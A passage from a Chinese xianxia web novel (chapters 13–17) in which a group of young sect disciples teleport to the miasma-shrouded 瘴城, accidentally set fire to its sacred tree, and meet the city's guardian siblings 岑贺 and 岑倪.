“哦。”沈复宁上下打量着他,“所以你这是在监视我?” “不。”俞时逢摇头,语气坚定,“我说过了,我跟着你。” 沈复宁好像被他坦荡的目光烫了一下,匆忙避开。 俞时逢却视若无睹继续开口:“若是要去瘴城之外的地方的话,我觉得你还是歇下这份心思比较好。” “为什么?”沈复宁不明,冲他扬眉,带着些许调侃,“不是说跟着我的。” “楚予在来之前,就派人守在了云墟的十二个传送门前了。” “呵呵。”沈复宁干笑两声,小声嘀咕,“小鱼儿堕落了啊。” “应该到不了堕落程度吧。” “怎么没到。”沈复宁不满,“小鱼儿明明是那种克己慎权之人,可现在她居然拿着关长老给她的令牌限制我。” 俞时逢不可置否,问她:“若是关长老将那令牌给你,你会做什么?” “做什么?”沈复宁没想过,但若真是到她手中,她先将这群人关在云墟,然后自己下山,想去哪去哪,想做什么就做什么。 哪怕只是想个大概,都给沈复宁想美了,时不时憨笑出声。 俞时逢看着她也笑了出来,拍了拍桌子,“别美了。” 沈复宁回过神,“不是你问的嘛,还不能让人想想了。” 俞时逢没什么情绪地看了她两眼,站了起来,“时间差不多了,应该出去了。” 沈复宁想都不想就拒绝,“我还什么都没收拾呢。” “你不是向来武器不离身的?”俞时逢不解,“还要收拾什么?” 沈复宁无语地看着他,“衣裳啊,我难不成这三个月就穿这一身衣裳。” “你之前哪次不是到地方买新的。”他熟稔地说。 此话一出,沈复宁怔神片刻,又蓦地笑出声来。 她这是第一次对面前这个人真的是与自己并肩作战,死里逃生多次,有了实感。 也是第一次感到好像重来一次不是什么坏事,至少,这一次能有人听她吐槽一些之前无法诉诸于口的事情。 “怎么了?”俞时逢被她看的有些不自在。 “没什么。”沈复宁压下心底翻涌的情绪,耸了耸肩,往门口走,“不是说该走了。” 她拉开房门,随意一看,就看见刚从她屋内走出去没多长时间的人,又齐齐整整地往这里来。 14. 第 14 章 沈复宁索性不动了,靠在门上,冲他们挑眉,“怎么,我屋里面什么时候有了传送门我不知道?” 几人一时语塞,不知该作何回答。 沈复宁深知几人的脾气秉性,面带微笑地看着那根墙头草。 自以为能靠着微笑感化她,说出真相,却不想姜柳依抱紧了自己,看天看地愣是不看她。 “是她,她让我们一起来的。”姜柳依受不了沈复宁盯着她的模样,想都不想就将楚予给揭穿了。 沈复宁看着楚予,不可置信,“你还真给他们下任务了。” 说罢,又看向姜柳依,“给了你们什么好处,这么听她的。” 姜柳依将花雾姒推到自己身前,以此阻隔沈复宁质问的眼神。 花雾姒想都没想就往后踹,姜柳依下意识地往后退了一步,刚好躲过花雾姒的攻击。 沈复宁没去看两人三岁孩童般的打斗,又将眼神放到了楚予身上,语气轻佻,眼神笃定,“小鱼儿,你不对劲。” 很不对劲,楚予之前从来没有看管她这么严。 沈复宁不禁想,若不是她心思多以及楚予有自己的事情要做,恐怕楚予恨不得将自己绑在她身上。 楚予没搭理沈复宁这一茬,走到她面前,伸出手敲了下沈复宁的额头,往屋内看了眼,再看到俞时逢的时候停顿了下,将沈复宁往外拉了拉,“你要是乖一点,我也就不用这么累了。” 沈复宁揉着自己的额头,看她一眼,没再说话。 “好了。”尤璟看着渐渐暗下的天色,说,“在不离开的话,就要等明天了。” “嗯。”楚予应了一声,看着沈复宁,“听到没有,能走吗?” “能!”沈复宁冲她大声喊道,似乎是想靠声音震慑住他们,环顾一周,挑眉,效果不错,立刻抬脚越过他们,走在了最前面。 几人立刻反应过来,跟了上去。 楚予落在最后,眼神不断地在沈复宁和俞时逢之间晃荡,神色不明,不知在想些什么。 “咔哒。”一道声音在她耳边响起,她望过去。 沈复宁打完响指的手还在她耳边没有收回,“小鱼儿,想什么呢?传送门到了。” 楚予叹了口气,无奈地说:“喊师姐。” 沈复宁饶有兴趣地看着她,“以前喊你也没这么多规矩啊。” 楚予白了她一眼,从乾坤袋中将舆图拿出来,看着说:“瘴城在药王谷的管辖范围,我们先传送到药王谷。” “好啊。”姜柳依率先开口,“到了药王谷我给你们带路。” “你是不是傻,无故不能去自己门派。”花雾姒讽刺的开口。 两人又吵了起来,引得传送门前排队的队伍朝这边望了过来。 沈复宁不动声色往后退了两步,没留意踩到了一个人的脚,“抱歉。”还未完整说出来。 头顶上方就传来一阵笑声,连带着胸腔都在震动。 沈复宁逆着光看他,距离有些近,沈复宁抬头才能看清他,突然她眯起了眼睛。 光线已经弱了下来,给他本有些锋利的轮廓渡上了一层朦胧柔和的光,让人看不真切,又有些熟悉,“俞时逢。”她突然开口。 俞时逢低下头,“嗯。” 更熟悉了,“你是不是……”突然有人用力地将她往后拽了一下,沈复宁皱着眉,带着怒意开口:“你有……” 看到罪魁祸首之后又硬生生地将剩下的话咽了下去。 楚予面无表情地看着她,问她:“有没有什么。” “没什么。”沈复宁脸上挂上了讨好地笑,挽上她的胳膊。 楚予看了俞时逢一眼,又看着沈复宁,没什么好气地说:“你俩不去排队在这儿做什么?” 不知道是不是沈复宁的错觉,她总觉得从仙门大比结束之后,楚予就贼不待见俞时逢。 她看了俞时逢一眼,对方恰巧在看着她,一脸无辜,就像在说:“我什么都不知道。” 沈复宁收回眼神,就发现楚予正盯着自己,不知处于什么心理抿了下唇,朝她讪讪一笑。 扭过头,看见姜柳依正朝她们招手,立刻甩开了挽着她的手,朝姜柳依几人大步走去,走了两步才意识到,“沈复宁,你心虚个什么劲。” 动作是收不回了,她咳了两声,保持着镇定朝那边走去。 只是这动作落在有心人眼里就不是那么简单了。 俞时逢笑了两声,楚予带着狐疑朝俞时逢望过去。 感受到视线,他立刻将双手举在胸前,像是在证明自己的无辜。 楚予警告地看了他一眼,往那边走了过去。 俞时逢看着楚予不知道在想什么,等那边人等不及了喊了他一声,才似乎是反应过来,走了过去。 “你这么这么慢。”姜柳依问他。 “没什么。”俞时逢朝她笑了下。 “走了。”花雾姒推着姜柳依往前走。 “我知道,你别推我。”姜柳依挣扎着说。 尤璟跟姬齐结紧随其后。 沈复宁小心翼翼地看了眼楚予,发现人家正绷着脸看她,立刻跟了上去。 楚予紧跟着沈复宁就走了进去,生怕她跑掉一样。 俞时逢在后面看着这一幕,暗暗感叹,“某人的逃跑计划大概是实施不成了。”慢悠悠的跟了进去。 抬脚踏进光影流转的传送门,只一瞬轻微的失重感,第二只脚刚刚踩稳。 周遭的交谈声骤然消散,喧闹扑面而来,叫卖声,谈笑声,扑面而来。 沈复宁靠在门框上,手上还拿着个骰子,无所事事的在手上转着。 见楚予跟俞时逢出来,拍了拍姜柳依,“少谷主,下一步我们怎么走?” 姜柳依从她随身携带的包里面拿出个罐子,一个接着一个从里面拿出一个药丸放在了几人手中。 没等她解释完,几人便将那丹药扔到了嘴里面。 倒是让姜柳依准备好的说辞哽在了嗓子里面,但该解释还是要解释。 自己也吃了一个,口齿不清地说:“清瘴丹,能够抵御瘴气。” 然后众目睽睽之下,又拿出个令牌,朝着对面地店铺走过去。 见没人跟过来,她又回头,催促:“跟过来啊。” 几人相互看了几眼,跟着走了过去。 姜柳依拿着那枚令牌,话语中是止不住地激动,“这令牌只有长老拥有,还好我缠着李长老要了过来。” 姜柳依进了那家看起来平平无奇的店,什么也没说,就把令牌搁到了柜台上面。 掌柜的盯着姜柳依看了一眼,才朝令牌看去,神色陡然变得恭敬了起来。 姜柳依勾着唇,将令牌收了回来。 掌柜领着他们往后面的厢房走。 姜柳依颔首,朝身后人看了一眼,花雾姒毫不客气地冲她翻了个白眼,走到了姜柳依身前,将她挤到了后面。 尤璟眼疾手快地扶了她一把,才没摔下去。 一旁的掌柜明显是看到了这一幕,一幅不知所措的样子。 姜柳依咳了两声,骂骂咧咧地跟在花雾姒后面,言辞激烈,“你,你什么态度。” 等人全走了进去,掌柜将门关上,看着姜柳依,“仙长,是要去哪?” “瘴城。” 掌柜脸上空白了一瞬,七人看着他,又朝姜柳依使了个眼色。 姜柳依瞬间领会,挺直腰背,将少谷主的气势拿了出来 ,“怎么了?不能去?” “不,不是。”掌柜立刻回答,说着,转身往身后的书架走去。 拉开了数个抽屉,在里面翻找着什么,口中还振振有词,“清露,辛夷,百草墟……” 终于,在沈复宁快待不住,想要自己上手去去找的时候,掌柜终于拿着一沓符纸转过了身。 沈复宁看着那符纸上的斑驳,若是没看错的话,那应该是……霉斑吧。 不知为何,她竟有些不确定,她也是第一次见符纸发霉,顿时眼神冒光地看着对方,若不是楚予咳了两声提醒她,恐怕下一秒就去找掌柜交流经验了。 等掌柜走到她们面前,沈复宁也顾不得楚予递过来的眼神,立刻就凑了过去,问他,“这还能发挥出作用吗?” “能的。”话是这样说,但漂浮的语气却怎也让她们给不了信任。 “能重新绘制吗?”尤璟问他,看得却是楚予。 楚予走上前去,将沈复宁正在端详的符纸收了回来,“这种符是药王谷请爻机山的人结合阵法和符制绘制的,只有布阵的人亲自绘制的才有用。” 沈复宁瞥她一眼,一边小声嘟囔:“我又没说什么。”一边兴致缺缺的退了回去。 刚回到座位,还没郁闷两分钟,面前就出现了一个“铁燕子” 这“铁燕子”是立体镂空的,铁丝弯折出撑起翅膀的骨架,双翼微微上扬,分叉的燕尾向后轻扬,依靠底部细小的铁支脚稳稳立住,空落落的轮廓,偏偏生出几分即将振翅飞起的轻盈感。 沈复宁将那“铁燕子”接过来,仔细端详着,感叹道:“手艺见长啊。” “想学?”俞时逢坐到她旁边。 “不想。”沈复宁想都没想就回答,“这又不是武器锻造,不需要跟你学。” 俞时逢笑了笑,没说话。 倒是姜柳依看了过来,一眼就看见了沈复宁手中的那只“燕子。”凑过去,看了会儿,冲俞时逢竖起大拇指,“精致小巧,手艺不错啊。” 沈复宁看她一眼,将燕子放进包里面,找茬一样,“怎么就不能是我做的?” 姜柳依上下打量着沈复宁,一身绫罗绸缎,若不是认识,打眼望去,只会觉得这是个十指不沾阳春水的大小姐,大小姐自然是不用会这些的。 见姜柳依眼神逐渐多了一丝别的意味,沈复宁不乐意了,“想什么呢?” 姜柳依摸摸鼻子,犹豫着还是说出了实话,“咱这七个人,除了花雾姒那大小姐,最矜贵的就是你了,怎么可能会做这手工活。” 沈复宁意味不明的“呵”了声,扭头冲花雾姒喊:“少阁主,这儿有人说你娇气。” 姜柳依一脸不可置信地看着沈复宁,头被人狠狠敲了一下。 那声音,引得沈复宁都下意识地往后一缩。 “高兴了。”俞时逢看着沈复宁跟偷到腥的猫一样,窝在椅子上,看着这场她挑起来的闹剧。 沈复宁淡淡瞥了他一眼,没说高兴与否,只是问:“你那里惹到我师姐了,这么不待见你。” “这应该去问她吧。” 俞时逢刚说完,有一只手挡在了两人中间。 楚予冷冷开口,“符纸能用,一人两张,收好。” 沈复宁一脸乖巧地看着楚予,对待珍宝一样将符纸受到包里面。 掌柜将几人带到院中的瞬移阵中,对他们说:“站在阵里面,将符纸贴在身上,眨眼的功夫就到瘴城城门口了,注意……” 话音未落,面前的七人便已不见踪迹,对着空气干巴巴地将剩下半句话说了出来,“注意符纸失效后会自燃,小心着火。” 说罢,愣了几秒,想到那几人的模样,只祈祷,之后千万不要再见了。 15. 第 15 章 几人呆愣的抬头看着因姜柳依随手一甩的动作,使即将自燃的符纸飘上空中,恰好与空中枝桠接触而产生的火焰。 眼看着火焰隐隐有扩大之势,不知谁喊了一句,“还不快灭火。” 将众人唤醒,手足无措的或踮脚悬在空中或一跃上树,站在那树枝的旁边。 用衣服盖的,拿水壶灭的,施法的,甚至还有人在翻有没有可用的法宝…… 七人各出奇招,火势愣是没减小一丝。 “姜柳依你真是个惹事精!” 或许是刚闯了祸底气不足,罕见的,姜柳依没有对花雾姒的话进行反驳。 沈复宁看着远处气势汹汹往这里赶的人,吞了口口水,停下了手中动作。 张口又闭上,不知是要喊着他们一起逃等火灭了再回来认错,还是安安静静的回到下方,低头认错。 看着还在努力的几人,以及丝毫不见减小的火势,终究是良心占了上筹。 “下……”来,话还没说完,人群已经站在了面前。 最前方的人看了她一眼,又转去看其他人,不知看到了什么,眼中怒气更胜。 沈复宁抿唇,闭上眼,不知道现在与她们装不认识还来不来得及。 “沈复宁,你不想办法,站在下面做什么?” 沈复宁攥紧拳头,眼睛微微打开一条缝,见着下面的人正用他们那带火的眼神看着自己,恨不能将姜柳依千刀万剐。 嘴角挂起一抹尴尬的笑,正要上前交际。 那群人像是感应到了什么,不约而同地往两边散去,给来人留下一条路。 一身暗沉榆青色的少年缓缓走出,清俊平和,瞧上去康健如常,只有肤色比同龄人稍浅,眼底敛去几分少年锐气。 眼神掠过沈复宁,脚尖轻点,挤到姜柳依身前,坐了下去。 像是不怕烫一样,将手伸进了火中,之间青光乍现,眨眼一瞬,火红便不见踪迹,甚至连一丝痕迹都没有留下。 七人呆愣地看着这一幕,还是楚予和尤璟率先反应过来,从空中落下,站在沈复宁身旁。 剩余几人也立刻下去,饱含歉意地看着来人,只有沈复宁还抬着头,不知道在看着什么。 “在看什么?” 沈复宁偏过头,看了一眼俞时逢,朝他指了指上面,“有看见什么东西吗?” 俞时逢顺着看了过去,除了还在树上坐着的人,什么也没看见,垂下眼眸,静静地看着沈复宁。 “你俩别聊了。”姜柳依带着笑容,面朝人群,嘴唇微动,用气音对他们说。 两人收回眼神,看着尤璟和楚予在前面不断地对他们道歉。 楚予瞪了他俩一眼,俩人立刻加入了道歉的行列。 可惜,仅仅靠着道歉,根本无法消磨他们的怒意。 花雾姒不动声色的将手伸到姜柳依腰间,拧了一下。 “嘶。”姜柳依下意识地想要回击,就听见她咬着牙说:“少谷主,出场啊。” 这才刚来瘴城就将人给得罪了,剩下地几天怎么过啊。 姜柳依刚往前一步,被沈复宁给拉了回来,将手放到她的背上,强压下去,学着楚予和尤璟,弯腰再次致歉。 终于,为首的人开口了,却不是冲着他们,“大木伺,他们冒犯玄榆,如何处置?” “无妨。”被称作大木伺的人落在了沈复宁面前,话却是对着身后的人讲的。 “这怎么行?”后面的人似是不满。 少年轻笑一声,转过身,“玄榆无碍。”他回头环顾七人,继续说,“况且,瘴城已经许久没有贵客来访了。” 几人眼中的怒意有所缓和,却依旧不放弃,“可荫守遴选……” 少年眼神放在他身上停留片刻,他立刻闭嘴,不服气地应:“知道了。” 说罢,瞪了他们几个一眼,带着人离开了。 那人转过身,笑意盈盈地看着七人说:“在下岑贺,不知诸位如何称呼。” 楚予刚准备开口,就被沈复宁截胡,看着她往前走了两步,伸出手,漫不经心地说:“沈复宁。” 岑贺笑着虚握上沈复宁伸出的手,又极快地收回,“沈道友。” 沈复宁看着自己悬在空中的手,也不在意,转过身,跟岑贺介绍着身后的人。 忽略楚予带着询问的眼神,学着岑贺刚刚对自己的称呼:“这位是楚道友。” 岑贺冲楚予点了点头,听着沈复宁一比一复刻地介绍着其余人。 最后停在俞时逢面前,沈复宁还未开口,俞时逢便自报家门,“俞时逢。” 岑贺罕见一愣,朝身旁的沈复宁看了一眼,见对方微蹙眉头,笑了出声,“俞道友,幸会。” 俞时逢斜睨沈复宁一眼,没什么情绪地冲着岑贺点了点头。 沈复宁冲他翻了个白眼,突地“嘶”了一声,看着不知何时走到自己身旁,毫不留情拧了自己一下的楚予,有些委屈,“干嘛。” 楚予没去看她,十分自然地将她往后推了一下,站在了岑贺和沈复宁中间,疏离又客套地开口:“小妹不懂事,岑道友莫怪。” “怎么会。”岑贺带着笑意说,“道友们来这里……” 话音未落,一道肠鸣响起。 几人齐齐朝着发出声音的姜柳依看过去。 姜柳依挠了下头,虚张声势道:“怎么了?不允许人饿了?” “出息。”花雾姒轻声说。 姜柳依瞪了她一眼。 岑贺笑了几声,拍了下自己的额头,“怪我,只顾着在这里与你们闲聊,都忘记你们路途遥远,现在一定是饿了。” “呵呵。”靠着传位符和传送阵瞬移过来的几人心虚地干笑了几声。 “能否劳烦岑道友给我们带个路?”尤璟问他。 “当然。”他侧身让出一条路,又往前走了两步,几人相互看了一眼,跟了上去。 岑贺倒是兴致高昂,不厌其烦地给他们介绍着周围地景色和小摊小贩。 走三步停一步,每一家是做什么的,成员组成,如数家珍。 城中的人也是一样,见到他都是一副高兴的模样,等到走到饭馆门前,各式物品被他抱了个满怀,就连跟着他的七人都沾了光,或多或少的收到了些什么。 七人看着自己手中的东西,有些不知所措。刚来就差点引起火灾,现下又受到这么些东西,总觉得受之有愧。 “要不……我们还是去给些灵石?”花雾姒有些不确定地开口。 “别,千万别。”岑贺连忙 组织,又怕他们误会,解释道:“他们只是太久没见过城外人了,有些激动。” 他带着人走进了饭馆,找了个靠窗的位置坐了下去,喊小二上招牌菜,将怀中的东西摊在桌子上,一边细细端详一边对他们说:“而且,这些东西都不值钱,也不用灵石买。” “不用灵石,那用什么?金银钱币?”姜柳依将众人地心声问了出来。 倒不是他们觉得奇怪,只是百年前,灵气骤然复苏,修仙之道重现人间,帝王威仪再难压得住飞天遁地的修士,朝堂礼制尽数作废,皇权王朝土崩瓦解。 宗门势力崛起,执掌世间秩序,世俗金银失去效用,危急时刻能够从中汲取灵力的蕴含着灵气的灵石成为通行货币,虽不说里面的灵力能发挥出多大作用,但若真到了水深火热之中,万一就靠着只能存在片刻的灵力将命保下了。 虽然,不太可能,却也聊胜于无,这是他们第一次知道原来这个大陆还有地方是不收灵石的。 像是知道他们的疑惑,岑贺给他们解释,“你们也看到了,由于瘴气的存在生活在瘴城的人其实不多,大部分有能力的人都离开了,留下来的有么是舍不得走的,要么是资质不够,无法修炼。” 他说的云淡风轻,只是暗淡下去的眼神透露出了他有些难过的情绪,“而且,说句实话,我长这么大,你们是我见到过的第一批主动来瘴城的,所以,灵石对我们来说真的没什么用处。” 听完了他的话,几人不知道该作何反应。 “但……几百年前瘴气不是已经被净化了?” 岑贺不知想到了什么,苦笑了一声,没再说话。 沈复宁看着他,突然问,“既然不收灵石,那我们应该怎么付这顿饭钱,以及住店的钱?” 几人看着刚刚送上来饭菜吞了吞口水,不知道老板支不支持他们用劳动抵债。 “以物换物。” “以物换物?”有些吃惊,他们已经许久听过这种方式了。 “对。”岑贺笑着说,“尤其是从外面带回来的东西,在我们这最是有价值。” “那就好。”听了这话,姜柳依立刻就掰了个鸡腿下来,塞到了嘴里,说话有些含糊,“我真的快饿死了。” 花雾姒嫌弃地看着她,“多等一会儿能死啊。” “能啊。” 说话间,又一阵肠鸣响起。 姬齐结的脸瞬间变得通红,声音极小不好意思地说:“我也饿了。” “吃啊。”姜柳依撕下另一只鸡腿放到了他的碗里面,“不是饿了嘛。” 姬齐结一边慢慢拿起放在他碗里的鸡腿,一边悄悄打量着其他人,见他们拿起筷子吃了起来,才衔住,小口进食。 顿时眼睛一亮,咀嚼的速度变快了些。 “这饭馆是我们这里味道最好的一个。”岑贺拿着公筷夹了道菜,放到了姬齐结碗中,他能看出来,这位道友是喜欢这味道的。 姬齐结看着碗中多出来的菜,动作一顿,抬眼朝他望了过去,又快速的埋下头。 岑贺嘴角溢着笑,也不逗他了,收起了动作,想要不动声色地离开一会儿,等他们吃好了再过来带他们去其他地方看看。 “哥。”一声突如其来的喊叫声就打断了他的动作。 16. 第 16 章 这一声“哥”极有气势,使得几人正在吃饭的手皆一顿,嚼着口中的饭菜朝那人看了过去。 岑贺眼中笑意更胜,朝那出声之人挥了挥手,最后直接站起来,将她引到了几人面前。 沈复宁看着那少年,眼神一亮。 来人身着藕粉色襦裙,身上戴着的铃铛随着她疾步快走的身姿一步一响,看起来好不明媚。 她随着岑贺来到桌前,像是敷衍任务一般随口说了自己的名字,“岑倪。”又立刻皱着眉头看向身旁的兄长,将他拉到了一边,语气中满是嗔怪,“你怎么出去这么久都没回去?” 岑贺安抚似的摸着她的头说:“好不容易有人来我们这座小城,兄长想带着他们一同走走。” 岑倪用余光看了几人一眼,声音压低了些,“你的公务还未完成,城主可能要生气。” 岑贺笑了笑,“胡说,城主那人啥时候真生过气。” 岑倪闭上了嘴,垂下眼眸,没再去看他,手指不停的拨动着身上的铃铛。 “岑道友。”楚予不知道什么时候走到了他们身旁,“不用管我们。” “那怎么行。”岑贺不假思索道。 语气过于强硬,回答的速度太过快,楚予一时不知该作何反应,眨了眨眼,才说:“心意领了,只是接下来我们打算先找个客栈住下,明日再好好逛逛。” “那……也行吧。”岑贺不知为何有些遗憾,看了眼靠在墙上无所事事玩自己手指的岑倪,将她拉到了楚予面前,“这样的话,待会儿就让舍妹带你们去客栈吧。” “还是……” “那就先谢谢了。”沈复宁突然出现,忽略了楚予递过来的问询眼神,朝岑倪笑了笑。 “太过客气了。”岑贺说着,又看向自己的妹妹,“你要好好招待她们。” 岑倪觑了沈复宁一眼,有些不耐烦,“知道了。”将岑贺往外推了推,“这里不用你管了,去忙吧。” 岑贺看了岑倪好一会儿,似是想说些什么,岑倪却没给他机会,意有所指道:“城主。” “知道。”岑贺轻拍了她的头一下,“不用担心我。” 沈复宁看着已经走远两人之间的交流,对楚予说:“小鱼儿,你去看看其他人吃好了没有。” 楚予盯着沈复宁看了会儿,知道她可能是有了什么发现,也知道现在不会告诉自己,吐出口浊气,不断地在心中劝解自己,“不要跟她计较,没必要。” 就这么默念了两遍,走之前又看了她一眼,顺便瞅了眼明明人已经不见踪影却依旧站在门口的岑倪。 楚予刚踏出一步,沈复宁就朝岑倪那边走了过去。 顺着她的视线向上望去,与城门口只能看到的枝叶末端不同,抬眼是覆压天地的浓绿,那棵贯穿天地的巨树看不到尽头,层层叠叠的枝叶密密匝匝交织在一起,将外面现在还不算厚重的瘴气隔绝开来。 视线顺着浓密的树荫向下落去,才是完整铺开的整座城池,密密麻麻错落排布,青瓦白墙层层叠叠,街巷小道丛横交错,人影穿梭在其中,往来奔走,步履不停。 看到这些,沈复宁才真正明白那些城民在看到火焰之时的愤怒,甚至在她看来,还不够,他们烧的可是庇佑他们百年的神树,仅仅是瞪了他们两眼,说话有点没情理,可这怎能足够。 “那是玄榆。”岑倪突然指着远方高处现出的虬劲的树干对沈复宁介绍,“我们能够存在的依赖。” 听出她语气中那一丝不易察觉的嘲弄,沈复宁眼神缓缓转向她,却又不只是在看她,眼神最后落在了她从她身上延出来的一丝气息,丝绸一般,从她身上渗出,不带任何阻挡向另一边延申过去。 沈复宁随着那方向看过去,视线被密密麻麻的人群阻挡,却也不难猜,那头是什么东西。 整个瘴城上方都是悬浮的不知名气体,占据绝大部分的浑浊不难猜出是瘴气,其中点缀的毫不起眼混在其中的两道白气,一道是她身上的,另一道是岑贺的,最后都同瘴气汇聚在那玄榆中。 “那是什么?”沈复宁问她。 她却没听懂,“什么是什么?” 沈复宁指着岑倪周身涌出来的那道气息,问她,“这是什么?” 岑倪看着她指着的虚空,皱起了眉,说话也不大客气,“你是眼神有什么问题?” 被骂了沈复宁也不在意,收回了手,不甚在意地回:“大概是我天赋异禀,能看见你看不见的东西吧。”说着,又指着她身后,“就比如,现在就有个魂体正趴在你背上。” 她一幅煞有其事的样子,搞得岑倪身体僵住,尤其是在她话落下的瞬间,感受到脖子后面突然起了一阵凉风,发丝舞动,声音带上了一丝颤抖,“你,你说的是真的嘛?” “当然……”沈复宁看着岑倪明明害怕却还强撑的样子,勾起唇角,将剩下的话补充完整,“不是真的。” 岑倪恶狠狠地瞪了罪魁祸首一眼,又朝身后看了过去,恰好看到了,正拿着扇子往回收的俞时逢,顿时气不打一处来,回过神,抬脚就打算朝沈复宁踹过去。 沈复宁漫不经心地躲了过去,又说:“修仙之人,见到魂魄什么的很正常的,我只是提前让你习惯一下。”她说的赤诚,如果忽略掉她语气中的笑的话,乍一听挺像是为她好的。 只可惜,看着岑倪愈发狠厉的身手,显然是更气了些。 俞时逢站在沈复宁刚刚站的位置上,双手环胸,全神贯注地看着这场闹剧。 沈复宁不闪不躲,在岑倪出招的瞬间,用手或用胳膊挡住,挡下攻击又立刻远离,让她出下一招,在外人看来,完全就是在逗她玩。 显然,对方也发现了这一点,恼羞成怒,朝后退了两步,双手捏诀,“借木为势,木锋即出!” 随着话音,她的身前多出了数十道映着绿光的风刃,话音落下的瞬间,齐齐朝沈复宁飞去。 俞时逢蹙眉,快步朝两人走过,沈复宁眼中却带上了笑意,岑倪施法瞬间,缠绕在她周身的那道白气多出了一丝绿色,风刃飞出的瞬间,那道从她体内延申出的白气陡然加快了往外涌出的速度。 沈复宁没打算躲,看到她还要继续结印,脚尖轻点,跃到了她的身后,制止住了她的动作,看着她颈后被沾湿的碎发,皱眉,手上的动作重了些,语气也是罕见的严厉,“谁教你的。” “你觉得很好玩!”俞时逢将那几道差点伤到人的风刃化解之后,阴沉着脸走到沈复宁身边,有些后怕的说。 沈复宁看着他心有余悸的样子,莫名有些心虚,声音也小上许多,“这不是知道你在,不论是我还是百姓都不会有事。” 俞时逢脸色 好了些,漆黑的眼睛就这么盯着她,没动。 沈复宁看着因她而荡起余波的眼眸,解释的话就这么哽在了嗓子里,插科打诨的话也好像不怎么合适,这是第一次,面对这个人,她不知道应该说些什么。 还没等到沈复宁在脑中搜刮到合适的话来打破着她说不清道不明的气氛,就有人帮了她。 “你松开我们小木伺。”周围不知何时被人群围住了,盯着沈复宁,全然不复刚刚看到有城外人进城的喜悦。 “你松开我。”看着这么多人,岑倪也有了底气,奋力挣脱沈复宁越握越紧的手。 “哦,哦,不好意思。”沈复宁立即松开了手,松开的有些突然,岑倪一时没做好准备,往前踉跄了几步。 周围的人立刻上前几步,护崽子一样站在岑倪身前,带着怨怼的目光将两人钉在原地。 察觉到俞时逢想要将她推到身后的意图,伸手制止,又干笑了两声,企图打破这令她窒息的氛围,也不管他们信不信,张口就说,“我们其实在开玩笑。” “这是怎么了,这么多人围着。” 姜柳依应该是吃好了,出来找乐子了,拨开人群,一眼就看见了给他们制造乐子的竟然是自家人,一时语塞,往前走的动作顿了下,转身就要跑。 “少谷主。”可惜没能跑成功,沈复宁笑着说的少谷主成功将众人的视线分了一部分在她身上。 姜柳依一时也跑不了,强撑着走到沈复宁身旁,咬着牙问,“怎么了这是?” 沈复宁没说话,冲着站在人群身后的岑倪挑了挑眉。 “她就是今天企图烧了我们玄榆的人。”人群中也不知谁将姜柳依认了出来,指着她就说。 “我不是,我没有,你别瞎说。”姜柳依张口就来,围着他们的人群比刚刚多了些。 沈复宁恨铁不成钢地望了她一眼,不是说瘴城在你们管辖范围的,怎么你这个少谷主什么用都没有。 姜柳依觉得自己很委屈,先不说自己这个少谷主有多么儿戏,就说这瘴城,其实在很久之前,就不再受他们药王谷制约了,药王谷只不过担了个名头而已。 “各位,其实我们刚刚只是在同小木伺比试。”沈复宁将姜柳依推到一边看着岑倪说,“若是不相信的话,可以派人去问问大木伺,刚刚在饭馆……” “对的。”岑倪走出来对他们解释,“是这样的,荫守遴选不是要开始了,这几位功力深厚,我想在开始前让他们帮我再提升下修为。” “这样啊。”围着的百姓,瞬间不好意思了起来,“不好意思啊,错怪你们了。” “倒也不是你们的错。”沈复宁看了眼岑倪,对他们说。 “行了,都散了吧。”人群外有人喊了声。 沈复宁与俞时逢对视了一眼,别人听不清楚,他们还能不知道,说话的人明明就是尤璟。 尤璟平日说话就莫名让人有种信服力,在这时候倒是展现出好处了,围观的人果真骂骂咧咧地散开了,还包括在里面浑水摸鱼的岑倪。 沈复宁没动,就看着岑倪混在其中,最后走到花雾姒面前,被挡住去路,她移一步,花雾姒就跟着移一步,终于不耐烦抬起头,“能让一下嘛!” 入目就是有些熟悉的面孔,花雾姒甚至还有心情冲她挥了挥手,就差说个你好了。 17. 第 17 章 岑倪横睨花雾姒一眼,冷眼扫视着暗暗将她围在中间的几人,最后将眼神落在尤璟身上。 再抬眼,脸上便换了一幅神色,语气也变得委屈了起来,“姐姐,我是做错什么了吗?”她说得可怜,就差没流下两行清泪。 抬起脚,步伐有点小,时不时朝沈复宁的方向偷摸望两眼,走到尤璟面前,指着沈复宁说:“为什么她要吓唬我。”说完,顿了顿,又补充道,“还打我。” 沈复宁看着她的动作挑了挑眉,却也意外,还以为她会去找楚予告状,没想到是尤璟。 她抱着手臂,饶有兴致地打量着岑倪,想知道她打的是什么心思,眼神晃过身姿端凝,眉眼沉静的尤璟,不由得停留了会儿,看着她穿着砍辟门干净利落的门派服装,威严却又不失温润。 转头看向楚予,嗯……头上的发带正随风飘扬,如此自由,如此散漫,到也不怪他们,太初宗对于统一服装这一件事没有什么执念,只给入门的弟子象征性的发过一套,而她和楚予的那套大概在五岁之后就无法再穿了。 两相对比,真不怪岑倪去找尤璟,人尤璟只要站在那里就透露出了“靠谱”两个字,要是她也选择砍辟门的大师姐诉苦。 楚予看着沈复宁,眼中的询问明显。沈复宁双手一摊,无辜的摇了摇头,表明自己没有欺负她。 楚予轻呵一声,明显是不相信,换了个人询问,“是这样的吗?” 沈复宁看着被楚予质问的俞时逢,好奇地看着他,想知道会怎样回答,毕竟,岑倪说的都是真的。 她倒也不在意他们知道,就算知道了楚予最多也就是维护着表面和气,装模作样的训斥她两句,不痛不痒的。 就是莫名地想知道,在不触及底线的情况下,他会不会不分青红皂白的站在她这边。 只是令她没想到,对方将这个问题抛了过来,用只有两人能听见的声音说:“你认为她说的是真的吗?” 沈复宁神色不明的看了他会儿,突然觉得没劲儿,正要承认,又听见旁边人说:“没有,她什么时候会跟人动手了。” 楚予朝他翻了个白眼,真当她是瞎了还是聋了,都是修士,就他刚刚那声音再小也不耽误在场的几人听清,楚予看着两人头疼,索性转过了头,不再去看。 这一转,就跟尤璟的眼神碰了个正着,对方眼中的意思很明显了,“你师妹惹出来的,你收拾。” 楚予眨了两下眼,摸了摸鼻子,若无其事的低下了头,像是看到了什么好玩的一样,也不再抬眼。 这俩真是好样的,师妹惹出来的篓子,亲师姐不管,反倒眼睁睁看着那“篓子”告状告到她这半路合伙的人头上,她真的被无语笑了。 尤璟沉了口气,认了,反正这类事情她也熟。 不经意地将自己的衣角从岑倪手中抽出来,尽量将声音放柔,只不过不太明显,听起来带着点咬牙切齿的味道在,“怎么会呢?你姐姐她情绪不稳,容易控制不住自己。”说着冷飕飕地眼神就往罪魁祸首身上飘。 